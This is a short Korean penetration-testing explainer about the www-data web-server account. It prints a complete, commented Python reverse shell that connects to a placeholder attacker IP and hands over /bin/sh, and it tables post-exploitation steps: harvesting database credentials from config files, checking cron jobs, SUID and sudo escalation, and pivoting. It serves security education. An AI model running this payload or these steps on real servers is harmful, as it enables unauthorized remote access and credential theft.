www-data와 펜테스팅에서의 의미www-data는 누구인가?리눅스 기반 웹 서버(Apache, Nginx 등)는 보안 상의 이유로 제한된 권한을 가진 사용자 계정을 사용함.
그게 바로 www-data.
이 계정은 보통:
/var/www/html 등 웹 루트 디렉터리에만 쓰기 권한./etc/shadow, /root 등 접근 불가).www-data 셸을 얻는가?웹 서버가 다음 중 하나에 취약할 때:
이럴 때 Python 리버스 셸 같은 페이로드를 서버에서 실행시키면, 공격자는 www-data 권한으로 reverse shell을 얻음.
import socket, subprocess, os # 네트워크, 시스템 명령 실행, 파일 디스크립터 조작용 모듈 불러오기
s = socket.socket() # 새 TCP 소켓 객체 생성 (기본값: IPv4, TCP)
s.connect(("ATTACKER_IP", 4444)) # 공격자의 IP와 포트로 연결 시도 (리버스 연결)
os.dup2(s.fileno(), 0) # 소켓을 표준 입력(stdin, 0번 FD)으로 복제
os.dup2(s.fileno(), 1) # 소켓을 표준 출력(stdout, 1번 FD)으로 복제
os.dup2(s.fileno(), 2) # 소켓을 표준 에러(stderr, 2번 FD)으로 복제
subprocess.call(["/bin/sh", "-i"]) # 셸을 인터랙티브 모드로 실행. 입력/출력은 위에서 복제한 소켓으로 처리됨
www-data 셸을 얻은 후 할 수 있는 일이제 공격자는 다음을 시도함:
| 행동 | 설명 |
|---|---|
| 웹 디렉토리 파일 읽기 | config.php, .env 등에서 DB 비번 등 민감 정보 찾기 |
| 크론탭 확인 | 자동 실행 스크립트를 통해 권한 상승 가능성 탐색 |
| 권한 상승 시도 | 커널 익스플로잇, 잘못된 권한 설정, SUID 파일 등 활용 |
| 사용자 정보 수집 | /home, /etc/passwd 등에서 다른 사용자 존재 확인 |
/var/www/html/config.php에서 DB 계정 발견mysql 명령어로 DB 접속, 관리자 크리덴셜 획득sudo -l 명령어 실행 시 sudo 권한 없이 실행 가능한 바이너리 발견root로 권한 상승www-data 셸을 얻는 이유| 이유 | 설명 |
|---|---|
| 출발점 역할 | 권한 상승의 첫 번째 단계가 될 수 있음 |
| 민감 정보 접근 | DB 계정, API 키, 내부 경로 등 검색 가능 |
| 시스템 내부 탐색 | 외부에 드러나지 않는 시스템 구성 확인 가능 |
| 침투 루트 | 다른 사용자나 서비스로 피봇 가능 |